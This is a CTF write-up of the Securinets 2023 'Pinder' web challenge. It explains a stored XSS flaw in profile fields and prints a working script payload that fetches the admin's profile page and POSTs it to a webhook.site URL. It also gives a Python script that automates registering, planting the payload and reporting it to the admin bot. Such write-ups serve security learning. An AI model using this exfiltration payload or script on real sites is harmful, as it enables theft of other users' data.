Securinets CTF Quals 2023 - webx1

2 minute read

Pinder

Description

Link: http://pinder.securinets.tn

Source code here.

Solution

Review source code

The source code is quite a lot but I will focus on a few important files.

After looking through the entire source code, I noticed that there are some functions that should be paid attention to as follows:

  • In the file ./routes/index.js:

login:

register:

create-profile and make-public:

In this function 3 inputs are required including userId, firt_name, last_name and profile_picture_link.

const result = db.createProfile(req.session.userId, req.body.first_name, req.body.last_name, req.body.profile_picture_link, true);

/my-profile:

This path allows you to view previously created profiles. in which there is a point worth noting.

res.render("my-profile", { profile: result[0] } function gets the profile id in the database and displays it to the interface.

Here is the result of result:

However, on the desktop interface, the profile id is hidden with style="display:none".

There are also 2 other paths but only for admin.

admin can view profiles of other accounts through the path /profile/{id}.

  • The flag is located in the profile of admin.

  • I tried to create a template containing malicious javascript code and open it in admin account.

In my account.

In admin.

yeah. :100: I received a message - XSS stored vulnerability from admin side.

  • In ./util/report.js: There is a requirement, the url when sumit must start with http://127.0.0.1/profile.

:::success => At this point, I can guess that this web application contains an XSS stored vulnerability.

The mining steps I perform will be as follows:

  • Create an account and login
  • Create profile contains XSS code to fetch to the profile in admin and send the results to a webhook.
  • Get id of profile just created in view-source
  • Submit my-profile to admin with the link http://127.0.0.1/profile/{id}
  • Get flags from webhook :::

Exploit XSS

  • Now, I change a bit the old payload to .
    "><script>fetch('http://127.0.0.1/my-profile').then(response => response.text()).then(data => {fetch('	https://webhook.site/9a0f20d5-7f92-43bb-a455-5d82fd12eb17',{method: 'POST', headers: {'Content-Type': 'text/plain'},body: data});}).catch(error => console.error(error));</script>
    
  • Add it to the firtname of the profile.

Done!

  • Looking at the source code we can see that profile id is 485

  • Now submit my profile to admin with the link http://127.0.0.1/profile/485

  • ok, i get the flag from webhook.

Flag: securinets{3bcc81811533d70940084c8}

Script

import requests
import string
import random

import time

from bs4 import BeautifulSoup

url = "http://pinder.securinets.tn"

webhook = "https://webhook.site/c575a735-3aaf-4b9a-b8b9-4eeba169e356"

payload = "'><script>fetch('http://127.0.0.1/my-profile').then(response => response.text()).then(data => {fetch('#####',{method: 'POST', headers: {'Content-Type': 'text/plain'},body: data});}).catch(error => console.error(error));</script>"

with requests.Session() as session:
    username = ''.join(random.choices(string.ascii_letters + string.digits, k=3))

    session.post(url + '/register', json={ 'username': username, 'password': '12345678'})
    session.post(url + '/login', json={ 'username': username, 'password': '12345678' })
    payload = payload.replace('#####', webhook)
    session.post(url + '/create-profile', json={"first_name":payload,"last_name":payload,"profile_picture_link":payload} )
    res = session.get(url + '/my-profile')
    if res.status_code == 200:
        soup = BeautifulSoup(res.content, "html.parser")
        card_subtitle = soup.find("p", class_="card-subtitle")
    
    if card_subtitle:
        value = card_subtitle.get_text().strip("#")
        print("Id profile: ", value)
        
    session.post(url + '/report', json={"url":"http://127.0.0.1/profile/" + value})
    time.sleep(2)
    print('Done! check webhook')


Result:

β”Œβ”€β”€(taiwhisγ‰Ώkali)-[~]
└─$ python 2.py
Id profile:  517
Done! check webhook

Check webhook:

Comments